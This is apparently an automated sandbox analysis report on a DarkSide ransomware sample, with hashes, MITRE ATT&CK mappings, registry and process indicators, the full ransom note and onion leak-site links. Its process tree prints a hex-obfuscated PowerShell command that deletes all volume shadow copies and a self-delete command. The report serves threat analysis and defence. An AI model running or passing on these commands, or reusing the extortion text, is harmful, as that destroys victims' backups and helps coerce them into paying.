darkside | 2b2aff0f96023927c709a40c979612bbf123ec59478d7f91a06d25e55f98460b

General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside credential_access defense_evasion discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.f6405d07.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (166) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Deletes itself 1 IoCs

pid	Process
3384	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f6405d07.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f6405d07.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2008	Darkside.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Darkside.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f6405d07	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f6405d07\ = "f6405d07"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f6405d07\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f6405d07	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f6405d07\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f6405d07.ico"	Darkside.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3020	powershell.exe
2008	Darkside.exe
2008	Darkside.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2008	Darkside.exe
Token: SeSecurityPrivilege	2008	Darkside.exe
Token: SeTakeOwnershipPrivilege	2008	Darkside.exe
Token: SeLoadDriverPrivilege	2008	Darkside.exe
Token: SeSystemProfilePrivilege	2008	Darkside.exe
Token: SeSystemtimePrivilege	2008	Darkside.exe
Token: SeProfSingleProcessPrivilege	2008	Darkside.exe
Token: SeIncBasePriorityPrivilege	2008	Darkside.exe
Token: SeCreatePagefilePrivilege	2008	Darkside.exe
Token: SeBackupPrivilege	2008	Darkside.exe
Token: SeRestorePrivilege	2008	Darkside.exe
Token: SeShutdownPrivilege	2008	Darkside.exe
Token: SeDebugPrivilege	2008	Darkside.exe
Token: SeSystemEnvironmentPrivilege	2008	Darkside.exe
Token: SeRemoteShutdownPrivilege	2008	Darkside.exe
Token: SeUndockPrivilege	2008	Darkside.exe
Token: SeManageVolumePrivilege	2008	Darkside.exe
Token: 33	2008	Darkside.exe
Token: 34	2008	Darkside.exe
Token: 35	2008	Darkside.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeBackupPrivilege	2804	vssvc.exe
Token: SeRestorePrivilege	2804	vssvc.exe
Token: SeAuditPrivilege	2804	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 3020	2008	Darkside.exe	32
PID 2008 wrote to memory of 3020	2008	Darkside.exe	32
PID 2008 wrote to memory of 3020	2008	Darkside.exe	32
PID 2008 wrote to memory of 3020	2008	Darkside.exe	32
PID 2008 wrote to memory of 3384	2008	Darkside.exe	38
PID 2008 wrote to memory of 3384	2008	Darkside.exe	38
PID 2008 wrote to memory of 3384	2008	Darkside.exe	38
PID 2008 wrote to memory of 3384	2008	Darkside.exe	38

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  PID:3384

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8833160dee371379190bb3c51c531062

SHA1
2b938c6773b970b033adfa23da0154baf84816d2

SHA256
bfc57b18cbcb82232dc4d2403bc6eaa189e28d3d1b987acb3ce0b22e9a8735d5

SHA512
775dfef9ea0769e74deadc61a0d816f651f6d38f7b66d50c18eb531105c86dc192042628072731c4ba3840e290f67da751efc8408425e776895d14d366f3b35a

Download Submit
C:\Users\Admin\README.f6405d07.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/3020-5-0x000007FEF63CE000-0x000007FEF63CF000-memory.dmp

Filesize
4KB

Download
memory/3020-6-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/3020-7-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/3020-8-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/3020-10-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/3020-11-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/3020-9-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/3020-12-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/3020-13-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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